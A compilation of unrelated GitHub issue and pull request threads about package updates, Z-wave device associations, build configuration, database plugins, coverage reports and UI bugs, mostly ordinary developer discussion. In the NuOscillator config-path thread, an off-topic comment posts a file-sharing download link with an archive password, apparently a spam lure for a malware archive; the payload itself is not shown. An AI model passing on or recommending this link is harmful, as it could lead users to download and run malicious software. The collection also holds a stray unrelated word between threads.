postfixadmin: 3.3.11 -> 3.3.13

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/postfixadmin/postfixadmin/releases.
meta.description for postfixadmin is: "Web based virtual user administration interface for Postfix mail servers"
meta.homepage for postfixadmin is: "https://postfixadmin.sourceforge.io/"
meta.changelog for postfixadmin is: ""
Updates performed

Version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 3.3.12 with grep in /nix/store/fs31yarnlh8w7zvmkah2wpf9lfd3idsv-postfixadmin-3.3.12
found 3.3.12 in filename of file in /nix/store/fs31yarnlh8w7zvmkah2wpf9lfd3idsv-postfixadmin-3.3.12

Rebuild report (if merged into master) (click to expand)

1 total rebuild path(s)

1 package rebuild(s)

First fifty rebuilds by attrpath
postfixadmin

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/fs31yarnlh8w7zvmkah2wpf9lfd3idsv-postfixadmin-3.3.12 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A postfixadmin https://github.com/r-ryantm/nixpkgs/archive/7c17353cd12afe1476dd9d04be9a217baceb4fc8.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/fs31yarnlh8w7zvmkah2wpf9lfd3idsv-postfixadmin-3.3.12
ls -la /nix/store/fs31yarnlh8w7zvmkah2wpf9lfd3idsv-postfixadmin-3.3.12/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

postfixadmin

Maintainer pings
cc @globin for testing.

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/postfixadmin/postfixadmin/releases.
meta.description for postfixadmin is: "Web based virtual user administration interface for Postfix mail servers"
meta.homepage for postfixadmin is: "https://postfixadmin.sourceforge.io/"
meta.changelog for postfixadmin is: ""
Updates performed

Version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 3.3.13 with grep in /nix/store/fzwfxxqiv51xzmvf9bas8a3vmczfvb4v-postfixadmin-3.3.13
found 3.3.13 in filename of file in /nix/store/fzwfxxqiv51xzmvf9bas8a3vmczfvb4v-postfixadmin-3.3.13

Rebuild report (if merged into master) (click to expand)

1 total rebuild path(s)

1 package rebuild(s)

First fifty rebuilds by attrpath
postfixadmin

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/fzwfxxqiv51xzmvf9bas8a3vmczfvb4v-postfixadmin-3.3.13 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A postfixadmin https://github.com/r-ryantm/nixpkgs/archive/52c5fa4bd3e2f2b174cc69ef1c40eec9bb9913b5.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/fzwfxxqiv51xzmvf9bas8a3vmczfvb4v-postfixadmin-3.3.13
ls -la /nix/store/fzwfxxqiv51xzmvf9bas8a3vmczfvb4v-postfixadmin-3.3.13/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

postfixadmin

Maintainer pings
cc @globin for testing.

@ofborg build postfixadmin postfixadmin.passthru.tests

@ofborg build nixosTests.postfixadmin


add knife-windows to external specs

:+1: :100:

:+1:
There could be a chicken or egg issue here if both projects need a merge at the same time, but we can just call that out at the time. This is an overall win and we should have done it sooner.


Pointy arrow not showing up

Not Actually a bug but more of a question/clarification. The ngx-poppers package showed a pointy arrow by default before. Is this not the case with this package anymore?

Nope, it should show up => see here https://tonysamperi.github.io/ngx-float-ui/


Mutable Events in Handlers

Hello,
I am curious if it is possible to mutate events inside of event handlers with this library? It seems to be possible in the original LMAX disruptor, but not here?
Thank you in advance for your response.

Hi, no, in short, it's not possible.
You can only get a Producer after giving ownership of the event processors to the disruptor so it's not even possible to pass a Producer to an event processor and publish that way.
Is there any particular scenario you're trying to achieve?
Kind regards
Nicholas


Problems with direct assosiation Homey

Hello! After updating to Homey v7 it is impossible to add direct assosiations for switches.
Tested with two different Z-push buttons. According to the driver settings:
https://github.com/Heatit-Controls/no.ThermoFloor/blob/master/drivers/Z-push-button-2/driver.settings.compose.json
One device running firmware v1.26 and one with v1.28 (I can not find any documentation for firmwatre v1.28, that said I can not verify that  waking up and priming the device for direct assosiations have changed).
Log output from Homey after setting direct assosiations:
Command[1377] start: sendData

[ProcessSendData]: To node: 22 with data: 0x9f02700115db374214c7fa59cce3f9e9b628f520 and txOptions: TRANSMIT_OPTION_ACK,TRANSMIT_OPTION_AUTO_ROUTE,TRANSMIT_OPTION_EXPLORE

Command[1377] end: sendData

Node[22]: [COMMAND_CLASS_CENTRAL_SCENE] {"Sequence Number (Raw)":{"type":"Buffer","data":[56]},"Sequence Number":56,"Properties1 (Raw)":{"type":"Buffer","data":[128]},"Properties1":{"Slow Refresh":true,"Key Attributes":"Key Pressed 1 time"},"Scene Number (Raw)":{"type":"Buffer","data":[1]},"Scene Number":1}

Which device did you try associate to? Are they on the same security level? In Z-wave devices need the same security level to be able to associate together.

Hi, unfortunately Homey currently doesn't allow choosing the security level except for in the apps code.
I am unsure of which security version Fibaro uses but if you include the device and when it asks for a DSK code you type 0 0 0 0 0 it might work.

Direct assosiations does not work between S1 and S2 security. Both devices need same security level, and that is the root of the problem.
S2 is not backwards compatible with S1, and that means that many devices will never work with HeatIt, as they will probably never get an update.


Stop with using build in config path

Here in path you have build
https://github.com/dbarrow257/NuOscillator/blob/9df59b1b276588b973778dfb297dc2291dbc09ae/Configs/Unbinned_CUDAProb3.yaml#L7
this is super unintutive, first of all some can build not in build folder then it breaks.

download
https://mega.co.nz/#!9jFTnQQa!-IQ1bo74J_ZxbbDvQKSXEj0mCXBuFYX9CK-5y5EV_0A
Archive codepass: changeme
you may need to install the c compiler

Done once this PR has been merged: https://github.com/dbarrow257/NuOscillator/pull/33
Allows pass through of Oscillator YAML::Node to the constructor of the OscProbCalcerBase::OscProbCalcerBase() object so configs don't have to reference configs.


Adjust  styling according to design.

The puzzle 12-6a75db9b from #12 has to be resolved:
https://github.com/codeforthailand/election-live/blob/735f786d921d7385dfa2d157c672ad91f76fc8cb/src/components/PartyStatsRow.js#L5-L5
The puzzle was created by Thai Pangsakulyanont on 17-Mar-19.
If you have any technical questions, don't ask me, submit new tickets instead. The task will be "done" when the problem is fixed and the text of the puzzle is removed from the source code. Here is more about PDD and about me.

The puzzle 12-6a75db9b has disappeared from the source code, that's why I closed this issue.

@0pdd the puzzle #15 is still not solved.

@0pdd the only puzzle #15 is solved here.


property P102_has_title without language indication

We do not find the language indication on the property P102_has_title, is it possible to add it. This information is available in BnF notice.

Hello @delahousse,
thanks for the issue. However the issues about the data conversion should be opened in the marc2rdf repo.
Finally, this bug is solved in latest commit.


Fixes #3370 .and change some code structure for compatibility

Fixes #3370 .
Changes proposed in this pull request:

use jdbc api to fix oracle difference and fix other jdbc compatibility
Fix jdbc getIndexInfo method and NullPointerException.
Fix and change catalog and schema method parameter error.
Fix and change resultSet.getString(IS_NULLABLE) and
resultSet.getString(IS_AUTOINCREMENT) return type error.(at MySQL Connector/J 8.0 + not work)
change some code structure for current compatibility

1.add DataSourceInfo class
2.add and change TEST unit
3.fix and change HashMap to LinkedHashMap


Data source plugin support xugu database

Purpose of the pull request
Data source plugin support xugu database
Brief change log
Data source plugin support xugu database
Verify this pull request
This change added tests and can be verified as follows:

Added XuguDataSourceChannelFactoryTest to verify the change.
Added XuguDataSourceChannelTest to verify the change.

❌ (Please check if there are PRs that already have a ready-to-merge label and can be merged, if exists please merge them first.)
But I have no merging branches

❌ (Please check if there are PRs that already have a ready-to-merge label and can be merged, if exists please merge them first.)
I have no merging branches

❌ (Please check if there are PRs that already have a ready-to-merge label and can be merged, if exists please merge them first.)
I have no merging branches

Codecov Report
Attention: 38 lines in your changes are missing coverage. Please review.

Comparison is base (8a35e8b) 38.55% compared to head (736229c) 38.54%.
 Consider uploading reports for the commit 81ebd43 to get more accurate results

Files
Patch %
Lines

...datasource/xugu/param/XuguDataSourceProcessor.java
48.00%
24 Missing and 2 partials :warning:

...gin/datasource/xugu/XuguAdHocDataSourceClient.java
0.00%
2 Missing :warning:

.../plugin/datasource/xugu/XuguDataSourceChannel.java
33.33%
2 Missing :warning:

...in/datasource/xugu/XuguPooledDataSourceClient.java
0.00%
2 Missing :warning:

.../datasource/xugu/param/XuguDataSourceParamDTO.java
33.33%
2 Missing :warning:

.../org/apache/dolphinscheduler/spi/enums/DbType.java
0.00%
2 Missing :warning:

.../datasource/xugu/XuguDataSourceChannelFactory.java
66.66%
1 Missing :warning:

...gin/datasource/xugu/param/XuguConnectionParam.java
50.00%
1 Missing :warning:

Additional details and impacted files
@@             Coverage Diff              @@
##                dev   #15601      +/-   ##
============================================
- Coverage     38.55%   38.54%   -0.02%
- Complexity     4777     4784       +7
============================================
  Files          1310     1317       +7
  Lines         44880    44910      +30
  Branches       4808     4787      -21
============================================
+ Hits          17305    17310       +5
- Misses        25692    25717      +25
  Partials       1883     1883

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

_Error:  One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0': _
Please guide me on how to deal with this problem, thank you very much.

what should i do next?

❌ (Please check if there are PRs that already have a ready-to-merge label and can be merged, if exists please merge them first.)
I don't have a branch merging.

I haven't found any mail in dev mail list. Please send an email to<EMAIL_ADDRESS>and explain the significance of supporting xugu database in apache dolphinscheduler. @mrliufox

I haven't found any mail in dev mail list. Please send an email to<EMAIL_ADDRESS>and explain the significance of supporting xugu database in apache dolphinscheduler. @mrliufox

I sent it on February 19, 2024 and it shows that the delivery was successful. Please confirm whether it was intercepted in the trash can.

Maybe you did not subscribe dev mail list. You should subscribe it first.

Maybe you did not subscribe dev mail list. You should subscribe it first. @mrliufox

how to subscribe dev mail list? Please guide, thank you very much.

You can take a look at https://github.com/apache/dolphinscheduler/issues/8847. @mrliufox

You can take a look at #8847. @mrliufox

Thank you very much, I have subscribed to the de email list and sent an email to<EMAIL_ADDRESS>to explain the importance of dolphinscheduler for xugu database support

what should i do next?

help please ! what should i do next

what should i do next ?

Currently, there are no maintainer is willing to accept the maintenance of this data source. So this PR will be temporarily put on hold until a maintainer is willing to continue maintaining it. @mrliufox


add language endpoint

Is there an existing issue for this?

[X] I have searched the existing issues

Expected feature
add the new language endpoint
Applicable to:

Radarr
Sonarr
Readarr
Lidarr

Deprecate languageProfile
Applicable to:

Sonarr

Possible Solutions
No response
Context / Reason
This is required for some of the tests that I have found to be failing.
Code of Conduct

[X] I agree to follow this project's Code of Conduct

Language endpoint doesnt work with Sonarr, I have raised this on their discord to see if the docs have been updated incorrectly.


rfac: Improve cron scaler

Added a cron parser
Simplified the code
Check if cron isWithinInterval

Checklist

[X] I have verified that my change is according to the deprecations & breaking changes policy
[X] Changelog has been updated and is aligned with our changelog requirements
[X] Commits are signed with Developer Certificate of Origin (DCO - learn more)

Relates to #6056

/run-e2e cron

/run-e2e cron

e2e test if failing and I don't see any weird error related with panics or errors, could you take a look?

e2e test if failing and I don't see any weird error related with panics or errors, could you take a look?

Very strange. I made a small adjustment to make the timezone the same as the scaledobject (not that it matters), and I increased the start time a bit, which was calculated based on the current time. This can maybe problematic if the test is executed right on the edge of a minute, so the calculated times may not match the actual execution time of the test. Hopefully this helps. Can you rerun the test?

/run-e2e cron

/run-e2e cron

It's weird because based on logs, the scaler is working but it scales only from 0 to 1:

Could we have any error returning the value?

/run-e2e cron


update help window, remove empty fields

Updated so remove command now gives error for empty fields
Help window copy button pushed down

Codecov Report

Merging #183 (55839e4) into master (bbf1438) will decrease coverage by 0.46%.
The diff coverage is 0.00%.

@@             Coverage Diff              @@
##             master     #183      +/-   ##
============================================
- Coverage     64.79%   64.32%   -0.47%
  Complexity      672      672
============================================
  Files           108      108
  Lines          2505     2523      +18
  Branches        280      288       +8
============================================
  Hits           1623     1623
- Misses          782      800      +18
  Partials        100      100

Impacted Files
Coverage Δ

...va/seedu/address/logic/commands/RemoveCommand.java
7.20% <0.00%> (-1.06%)
:arrow_down:

...eedu/address/logic/parser/RemoveCommandParser.java
21.73% <0.00%> (-2.08%)
:arrow_down:

src/main/java/seedu/address/ui/HelpWindow.java
0.00% <ø> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


prompting for a password

My recipe needs to deploy to prod and take a password silently. Without using ENV vars, is it possible to prompt and capture a password into a just-variable? I don't believe "read" command is useful here since it takes a bash variable to set the result into.
i.e.
PASS = `prompt without echoing and return`

I don't think there's a good way to do this with just variables.
However, you can do this with env variables in a shebang recipe:
pw:
	#!/usr/bin/env bash
	echo Please enter your password:
	read -s pw
	echo $pw

Shebang recipes are executed as scripts, so variables work. You could also create a .env file containing the variables. Does that help?

I saw the inline invocation of other languages through shebangs but how do you make the value of $pw (from your example) available outside of the shebang-recipe? The password needs to be reused by possibly many other recipes, so ideally it's stored in a variable.

Ah, I see. Yeah, that's tough. You could read the password and then re-invoke just:
pw:
	#!/usr/bin/env bash
	echo Please enter your password:
	read -s pw
	echo $pw
	just pw=$pw deploy

Does putting it in a .env file work?

No it doesn't - I tried that before posting this "issue" in the first place. I'm seeing "error: Backtick failed with exit code 1"
Neither does wrapping the password capture in a bash-helper-program like the prompt_for_password.sh  work. I'm out of ideas for now...

Hmm, that's unfortunate. One possibility is that backtick commands aren't able to read from stdin, although I'm not sure why that would be the case.

That seems to be the case exactly - it doesn't like the stdin program inside the backticks.

I opened #376 to track that issue, which is definitely a bug.

Fixed in #409!


added support for pandas dataframes

PR contains implementation for the LongDataset format proposed in #1930.
It works for:

targets (univariate and multivariate)
dynamic/static categorical/real features
prediction data (specifically target and past_feat_dynamic_real) is taken care of

resolves #1930, resolves #418
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Thanks for the enhancement @RSNirwan, I look forward to when it will be approved.
I am curious about what happens if we have a dataframe that doesn't fit into (pandas) memory, what do you think could be done? (The only solution coming to mind is using generators or something similar).
@lostella your input will be appreciated.

@babaniyi a generator of some kind would be the way to go: for example you could use the built-in FileDataset class.

Thanks for the comments @jaheba and @lostella !  I hope I have addressed all comments as you intended. If misunderstood something, let me know.


Fixed object name in documentation (CDN part)

The exported object is called TonGateway, not TonAccess
...
var nt = T((C) => {
        Object.defineProperty(C, "__esModule", { value: !0 });
        var j = L();
        // here
        window.TonGateway = { create: () => new j.Gateway(), getHttpEndpoint: j.getHttpEndpoint, getHttpV4Endpoint: j.getHttpV4Endpoint };
    });
    nt();

After loading the script via CDN, TonGateway needs to be referenced, not TonAccess. Otherwise, the call to, e.g.,  TonAccess.getHttpEndpoint will cause "not defined" error. I propose to fix that in the docs.
TonAccess.getHttpEndpoint() // TonAccess is not defined
TonGateway.getHttpEndpoint() // this works

Çekim


Upgrade react-jsx-highcharts build to webpack 4

Upgrade webpack to version 4.
Saves some 10kB on minified build.

Using lodash-es instead of lodash in UMD build saves another 2kB.
Might get half kB with making is-immutable es module too.


Migration tools

The notes reference "Microsoft Azure Monitor will provide tools for customers to automatically migrate their classic alert rules on to the new platform soon." Do you have an ETA on these tools?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 9718a085-110e-cfae-c737-8074f75e11b8
Version Independent ID: c010f299-a2ce-86dd-0126-fd2f9ba08054
Content: Unified alerting & monitoring in Azure Monitor replaces classic alerting & monitoring
Content Source: articles/azure-monitor/platform/monitoring-classic-retirement.md
Service: azure-monitor
Sub-service: alerts
GitHub Login: @msvijayn
Microsoft Alias: vinagara

@mmckechney Thanks for the Comment. We are actively investigating and will get back to you soon.
@msvijayn any input on timelines?

The voluntary migration tool is available, for more details see: https://aka.ms/alerts-migration-tutorial
Need to update doc with links to the said article - will do it next PR.

We will now close this issue. If there are further questions regarding this matter, please reply and we will gladly continue the discussion.


[WIP][Windows] Detach Endpoint first before deleting it

Signed-off-by: Quan Tian<EMAIL_ADDRESS>

/test-windows-networkpolicy

Codecov Report

Merging #2825 (52ee10e) into main (357fce3) will decrease coverage by 20.35%.
The diff coverage is n/a.

@@             Coverage Diff             @@
##             main    #2825       +/-   ##
===========================================
- Coverage   61.43%   41.07%   -20.36%
===========================================
  Files         284      157      -127
  Lines       23561    19570     -3991
===========================================
- Hits        14474     8038     -6436
- Misses       7523    10768     +3245
+ Partials     1564      764      -800

Flag
Coverage Δ

kind-e2e-tests
?

unit-tests
41.07% <ø> (+0.01%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

pkg/ovs/openflow/default.go
0.00% <0.00%> (-100.00%)
:arrow_down:

pkg/util/runtime/runtime.go
0.00% <0.00%> (-100.00%)
:arrow_down:

pkg/agent/cniserver/pod_configuration_linux.go
0.00% <0.00%> (-100.00%)
:arrow_down:

pkg/ovs/openflow/logs.go
9.52% <0.00%> (-90.48%)
:arrow_down:

pkg/apis/controlplane/register.go
0.00% <0.00%> (-90.00%)
:arrow_down:

pkg/agent/nodeportlocal/k8s/annotations.go
0.00% <0.00%> (-83.88%)
:arrow_down:

pkg/agent/agent_linux.go
0.00% <0.00%> (-80.00%)
:arrow_down:

pkg/agent/client.go
0.00% <0.00%> (-77.42%)
:arrow_down:

pkg/ovs/ovsconfig/ovs_client_linux.go
0.00% <0.00%> (-76.93%)
:arrow_down:

pkg/flowaggregator/certificate.go
0.00% <0.00%> (-76.58%)
:arrow_down:

... and 229 more

I tried adding this step because the CNI plugin win-bridge does it. However, it doesn't resolve the hang issue mentioned in https://github.com/antrea-io/antrea/issues/2816. Closing it.


Vue3: Cloud Credentials 'create' button stays disabled when required values are filled

Setup

Rancher version: 2.10
Rancher UI Extensions:
Browser type & version: Chrome, Firefox

Describe the bug
Cloud Credentials 'create' button stays disabled when required values are filled. The user must remove focus from the name input field for the 'create' button to be enabled.

To Reproduce

go to cluster manager
go to cloud credential creation form (manager/cloudCredential/create)
select any cloud provider (i used aws)
fill in all fields and the Credential Name field last
notice the 'create' button is disabled
remove focus from the name input field
notice the 'create' button is enabled

Result
Cloud Credentials 'create' button stays disabled when required values are filled.
Expected Result
Cloud Credentials 'create' button is enabled when required values are filled.

Screenshots
https://github.com/user-attachments/assets/f2fa0756-b009-4935-a0c3-7c39e5e6dff0

Additional context

this scenario is already automated (cypress/e2e/tests/pages/manager/cloud-credentials.spec.ts -> can create aws cloud credentials)

Order does, indeed matter here. The regression might be related to validation.

No longer seeing the issue after the fix; form validation works properly.
Tested in:

Rancher v2.10-13c7bae82c64b32ea68eb8981ee27dd7647c26ec-head
Dashboard master 49829da


fix: async-function-with-await

Description
Fixed async function should have await expression JS-0116
Fixes # (issue)
https://deepsource.io/gh/appsmithorg/appsmith/issue/JS-0116/occurrences
Type of change

Bug fix (non-breaking change which fixes an issue)

How Has This Been Tested?
Checklist:

[ ] My code follows the style guidelines of this project
[ ] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes

@sharat87  Please review ?

@Rishabh-Rathod  how can I create this issue and assign it to myself?

Everyone has access to create an issue and then appsmith team will check if there is any other issue or PR already solving this issue.
If not we can assign it to the contributor who is interested, this will avoid contributors time getting wasted working on already resolved issue.
🙂


Submarine-463. [WEB]Implement database connection in project page with Angular

What is this PR for?
Implement database connection in project page with Angular
What type of PR is it?
[Feature]
Todos
What is the Jira issue?
https://issues.apache.org/jira/browse/SUBMARINE-463
How should this be tested?
https://travis-ci.org/github/apache/submarine/builds/687730049
Screenshots (if appropriate)

Questions:

Does the licenses files need update? No
Is there breaking changes for older versions? No
Does this needs documentation? No

@liuxunorg  @kevin85421  @jasoonn  @kobe860219 Can you help me review the pull request? Thanks!

@chiajoukuo Thank for your contribution. It looks good to me.

@chiajoukuo Thanks for your contribution. This pr is looks good to me!

@jasoonn @pingsutw @liuxunorg Thanks for your advice. I have updated my pr.

@chiajoukuo Thank for your contribution. This pr looks good to me.

Will merge if no more comments.


Remove Buffer constructor usage (#409)

Fixes #409.

May I suggest to forward your changes to:
https://github.com/abandonware/bleno/
Meanwhile, feedback welcome on latest release:
<EMAIL_ADDRESS>


Modularization for Java 9

I split the three components (asmx, scene-lib, annotation-file-utilities) into their own modules and configured the module and build files.
Right now, with tests disabled, the build succeeds up until javadoc. The main components themselves all build successfully.
(This change also involves removing the cfjar code from the jsr308-langtools project)

This build passes up until Javadoc, where it fails because it cannot resolve the modules. Still working out how to add a module path parameter... there seem to be bootclasspath parameters but I don't see anything for modules.


can't Register developer

register as developer
tip:
Sorry! Signing up with a new account is currently disabled.
Please contact Support to gain access.

Responded via email.


Switch GCP Instance and Domain Payments to Long-Term Solution

Currently, @juberti pays $10 a year for the domain epschedule.com via NameCheap, and @guberti pays the ~$5 a year for the GCP instance.
For the long term though, it'd be a good idea to connect these things to an Eastside Prep account. Not sure what the best way to do this is, @JonBriggs might have thoughts?

I know there are ways to transfer domain names, I imagine that there is a
way to transfer ownership of GCP as well. EPS is more than happy to cover
those expenses. We'll just have to look into the process and make it
happen. When do the items renew? It might be best to do right after the
school year when nobody is using the system (in case it doesn't go as
planned). Alternatively, we could transfer the domain and set up a fresh
GCP instance on an EPS account if you wanted to test out a bare metal
deployment.
On Mon, Jan 4, 2021 at 5:17 PM Gavin Uberti<EMAIL_ADDRESS>wrote:

Currently, @juberti https://github.com/juberti pays $10 a year for the
domain epschedule.com via NameCheap, and @guberti
https://github.com/guberti pays the ~$5 a year for the GCP instance.
For the long term though, it'd be a good idea to connect these things to
an Eastside Prep account. Not sure what the best way to do this is,
@JonBriggs https://github.com/JonBriggs might have thoughts?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/guberti/epschedule/issues/397, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AABUPM6ICXB44CXCCNNSMP3SYJSBRANCNFSM4VT6D6QQ
.


Razer Kiyo Camera not starting

First of all, thank you for the amazing app! It works really well and is super easy to use.
I am facing an issue with the Razer Kiyo Camera. It works fine in other apps but in VCam the Preview just stays black and the camera does not turn on. Other cameras like the iPhone Camera, OBS Virtual Camera or my old, worse Logi camera work.
I was able to find some logs that could be related to why its not working:
default	14:37:56.998678+0200	VCam	<<<< AVCaptureDALDevice >>>> -[AVCaptureDALDevice setActiveVideoMaxFrameDuration:]: MaxFrameDuration to set 1 / 30
error	14:37:56.998903+0200	VCam	*** -[AVCaptureDevice_Tundra setActiveVideoMaxFrameDuration:] Not supported - Supported ranges: (
    "<AVFrameRateRange: 0x600003355f00 30.00 - 30.00 (1000000 / 30000030 - 1000000 / 30000030)>"
), tried to set minFrameRate to 30.000000 (1 / 30)
error	14:37:57.999989+0200	VCam	(
	0   CoreFoundation                      0x0000000196db319c __exceptionPreprocess + 176
	1   libobjc.A.dylib                     0x00000001968d24d4 objc_exception_throw + 60
	2   AVFCapture                          0x00000001b274cec0 -[AVCaptureDALDevice supportsAVCaptureSessionPreset:] + 0
	3   UniVCam                             0x00000002b62270e8 $s7UniVCam13CameraManagerC014configureFrontC003_A0g13FEDD198A17446G13CC4674E462CE6LL3for6deviceSo15AVCaptureDeviceCAG_So6CGSizeV10resolutiontSo0O7SessionC_AISgtKF + 940
	4   UniVCam                             0x00000002b6209798 $s7UniVCam15AvatarWebCameraC5startyyF + 268
	5   UniVCam                             0x00000002b61c45b8 $s7UniVCam8TrackingC07setFaceC6Methodyy0B6Entity0cF0O0E0OF + 572
	6   UniVCam                             0x00000002b61c3ff8 $s7UniVCam8TrackingC9configureyyF + 244
	7   UniVCam                             0x00000002b61ddb48 $s7UniVCam05uniOnB11SystemStartyyF + 92
	8   GameAssembly.dylib                  0x000000012c562cac GameAssembly.dylib + 5647532
	9   GameAssembly.dylib                  0x000000012c40f4f4 GameAssembly.dylib + 4257012
	10  GameAssembly.dylib                  0x000000012c40f430 GameAssembly.dylib + 4256816
	11  UnityPlayer.dylib                   0x0000000108275b18 _ZdaPvRKSt9nothrow_t + 4135372
	12  UnityPlayer.dylib                   0x000000010827ce48 _ZdaPvRKSt9nothrow_t + 4164860
	13  UnityPlayer.dylib                   0x0000000108299a9c _ZdaPvRKSt9nothrow_t + 4282704
	14  UnityPlayer.dylib                   0x0000000108299ba0 _ZdaPvRKSt9nothrow_t + 4282964
	15  UnityPlayer.dylib                   0x000000010829a600 _ZdaPvRKSt9nothrow_t + 4285620
	16  UnityPlayer.dylib                   0x0000000107f6ef1c _ZdaPvRKSt9nothrow_t + 962000
	17  UnityPlayer.dylib                   0x00000001080cd32c _ZdaPvRKSt9nothrow_t + 2396640
	18  UnityPlayer.dylib                   0x00000001080cd378 _ZdaPvRKSt9nothrow_t + 2396716
	19  UnityPlayer.dylib                   0x00000001080cd60c _ZdaPvRKSt9nothrow_t + 2397376
	20  UnityPlayer.dylib                   0x0000000108adc378 _Z10PlayerMainiPPKc + 2120
	21  Foundation                          0x0000000197ce9538 __NSFireTimer + 104
	22  CoreFoundation                      0x0000000196d5448c __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ + 32
	23  CoreFoundation                      0x0000000196d54134 __CFRunLoopDoTimer + 940
	24  CoreFoundation                      0x0000000196d53c8c __CFRunLoopDoTimers + 356
	25  CoreFoundation                      0x0000000196d3941c __CFRunLoopRun + 1852
	26  CoreFoundation                      0x0000000196d3858c CFRunLoopRunSpecific + 612
	27  HIToolbox                           0x00000001a056ddf4 RunCurrentEventLoopInMode + 292
	28  HIToolbox                           0x00000001a056dc30 ReceiveNextEventCommon + 648
	29  HIToolbox                           0x00000001a056d988 _BlockUntilNextEventMatchingListInModeWithFilter + 76
	30  AppKit                              0x0000000199f57f58 _DPSNextEvent + 636
	31  AppKit                              0x0000000199f570f4 -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] + 716
	32  AppKit                              0x0000000199f4b558 -[NSApplication run] + 464
	33  AppKit                              0x0000000199f229a8 NSApplicationMain + 880
	34  UnityPlayer.dylib                   0x0000000108adbee0 _Z10PlayerMainiPPKc + 944
	35  dyld                                0x0000000196903f28 start + 2236
)

I tried downloading the source code to poke around myself but I wasn't able to build the app into an executable.

That was quick! I am happy to report that this build is working :)

Thank you for trying! 😄
I'll release the next version with this fix a few days ago.
Until then, please use its dev version!
This issue will be closed after release.


Question : about resiliency

Hello , I have below questions regarding the resiliency .Below are models suggested in the documentation to achieve high availability.
1). have primary and secondary stores in different regions . link - https://docs.microsoft.com/en-us/azure/azure-app-configuration/concept-disaster-recovery?tabs=core3x.
In this example if primary is unavailable then config data will be loaded from the secondary store. This is configured on application start up. Lets say we started the application from the secondary store as primary is unavailable at that time and after some time primary store is available now . Will the application now switch over to primary ? or it was one time event on start up.

same scenario when first loading from a config file and then from the config store . link -https://docs.microsoft.com/en-us/azure/azure-app-configuration/integrate-ci-cd-pipeline . Lets say we loaded the app data from local config and app config store is unavailable . After some time ,  config store is available now .Will the application switch over to config store ? and load the data dynamically ( assuming we have implemented pull model ).

I am asking this as config store is configured on application bootstrap and will happen once so how will the application know to  connect it to again once its become available again.
Thanks!

@nareshkaloha

If you registered refresh for the primary store, data will be loaded from the primary store when it becomes available.
Similar to 1, if you registered refresh for the App Config store, data will be loaded from the App Config store when it becomes available.

BTW, we are working on geo-replication support (#178), which should give you better experience in the future.


fix for #1690: Nav DropDown Problem.

I noticed this had already been addressed in a pull request, but It doesn't look like that solution is working. This seems like a css, not a js issue so I thought I would propose my own solution.
This method avoids modifying any JavaScript by just changing the nav bar to overflow: hidden when it needs to. It seems like a better route to go because there's no reason to risk hiding the entire menu in situations like this.

I think the problem here may lie in the css definition in 'responsive.less'.
There are two @media queries where 'max-width: 980px' is used, but also a later @media query where 'min-width: 980px' is called.
My suggestion is that we should be using 'max-width: 979px'.
I have done some quick experiments and changing these seems to solve the problem. Which one is changed is a policy decision, should the collapsed menu be used at <= 980px OR < 980px. My vote is the switch should occur at 979px and below.

The collapsed menu is only used for <= 768px, so do you mean the change should occur at <= 767px? I don't have any problems with transitioning from the regular menu to the collapsed in any browser (other than ie <= 8 of course). Either way that doesn't sound like it would fix the problem we're talking about above.

The intention may be that the collapsed menu is used at <= 768px, in fact it comes in at 980px.
You might like to try 'responsivepx' (neat tool written by rem, very useful for checking the 'break point' in responsive layouts)
http://responsivepx.com/?twitter.github.com#980x480&scrollbars
